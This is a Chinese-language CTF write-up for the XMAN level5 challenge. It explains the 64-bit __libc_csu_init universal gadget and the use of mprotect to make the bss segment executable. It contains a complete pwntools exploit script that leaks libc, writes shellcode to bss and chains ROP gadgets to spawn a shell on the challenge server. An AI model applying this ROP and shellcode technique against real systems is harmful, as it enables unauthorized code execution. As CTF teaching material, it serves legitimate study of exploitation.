pwn-[XMAN]level5(通用gadget,mprotect)
这道题涉及很多知识点,包括64位通用gadget,mprotect修改权限
该题假设禁用了system和execve函数
查看保护,因为system和execve被禁用,所以只能通过shellcode getshell,但因为开启了NX,需要通过mprotect函数改变指定内存(以页为单位)的权限
查询gadget,没有pop rdx,而mprotec函数需要三个参数,可以通过通用gadget传参
思路:
- 泄漏libc基址,通过偏移找到mprotect的地址
- 通过write将mprotect和shellcode写入bss段
- 利用通用gadget修改bss,最后跳转到shellcode的地址getshell
通用gadget是怎么一回事呢?可参考:https://blog.csdn.net/weixin_44932880/article/details/103692899
通用gadget是64位程序中用于对libc进行初始化的函数 __libc_csu_init()的一段gadget,之所以叫通用是因为这段gadget可广泛使用,能够对大部分的寄存器赋值。
通用gadget可分为rop1和rop2两段。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,rop1的6个pop分别给rbx,rbp,r12,r13,r14,r15赋值.如果后面接rop2也就是跳转到0x400690则会分别给rdx,rsi,edi赋值。而r13,r14,r15是用户可控的,紧接着进行call调用,call的地址取决于r12和rbx的值。调用结束后还会执行add rsp,8以及紧随其后的rop1。
因为我们需要改写bss段的权限,所以mprotect的参数设置为
mprotect(0x600000,0x1000,7),指定的内存区间必须包含整个内存页。区间开始的地址start必须是一个内存页的起始地址,len长度必须是页大小的整数倍,7代表rwx。
exp:
1 #!/usr/bin/python 2 #coding:utf-8 3 from pwn import * 4 context(arch='amd64',os='linux') 5 context.log_level='debug' 6 #a=process('level3_x64') 7 a=remote("pwn2.jarvisoj.com",9884) 8 libc=ELF("libc-2.19.so") 9 elf=ELF("level3_x64") 10 11 rop1=0x4006AA #pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15 12 rop2=0x400690 #mov rdx,r13;mov rsi,r14;mov edi,r15 13 rdi=0x4006b3 14 rsi_r15=0x4006b1 15 vuln=0x4005E6 16 bss=elf.bss() 17 read_plt=elf.plt['read'] 18 write_plt=elf.plt['write'] 19 write_got=elf.got['write'] 20 ############################################ 21 payload='a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0xdeadbeef)+p64(write_plt)+p64(vuln) 22 a.send(payload) 23 a.recvline() 24 write_got=u64(a.recv(8)) 25 print hex(write_got) 26 27 base=write_got-libc.symbols['write'] 28 mprotect_addr=base+libc.symbols['mprotect'] 29 ############################################ 30 payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0xdeadbeef)+p64(read_plt)+p64(vuln) 31 a.recvline() 32 a.send(payload2) 33 shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh()) 34 a.send(shellcode) 35 #gdb.attach(a) 36 print len(shellcode) 37 ############################################ 38 payload3='a'*0x88+p64(rop1)+p64(0)+p64(1)+p64(bss)+p64(7)+p64(0x1000)+p64(0x600000)+p64(rop2)+'a'*56+p64(bss+8) 39 a.recvline() 40 #g=gdb.debug('/root/level3_x64','b *') 41 a.sendline(payload3) 42 a.interactive()
简单解释下payload3,下图给出了各寄存器对应的值,上文提到了call的地址为r12+rbx*8,把0赋给rbx则等价于call r12,也就是bss的地址,我们在payload2中写入了mprotect,call r12就是执行mprotect
函数
继续分析下rop2
关键在于call之后的命令。存在jnz跳转,如果rbx不等于rbp,就会重新执行rop2。rbx既然设置为0那么rbp必须为1
跳转问题解决了,程序就会执行下面的rop1。加上add rsp,8,一共需要padding 8+6*8个字节,最后再返回shellcode的位置即可getshell
不知道为啥本地调试失败了。。。。。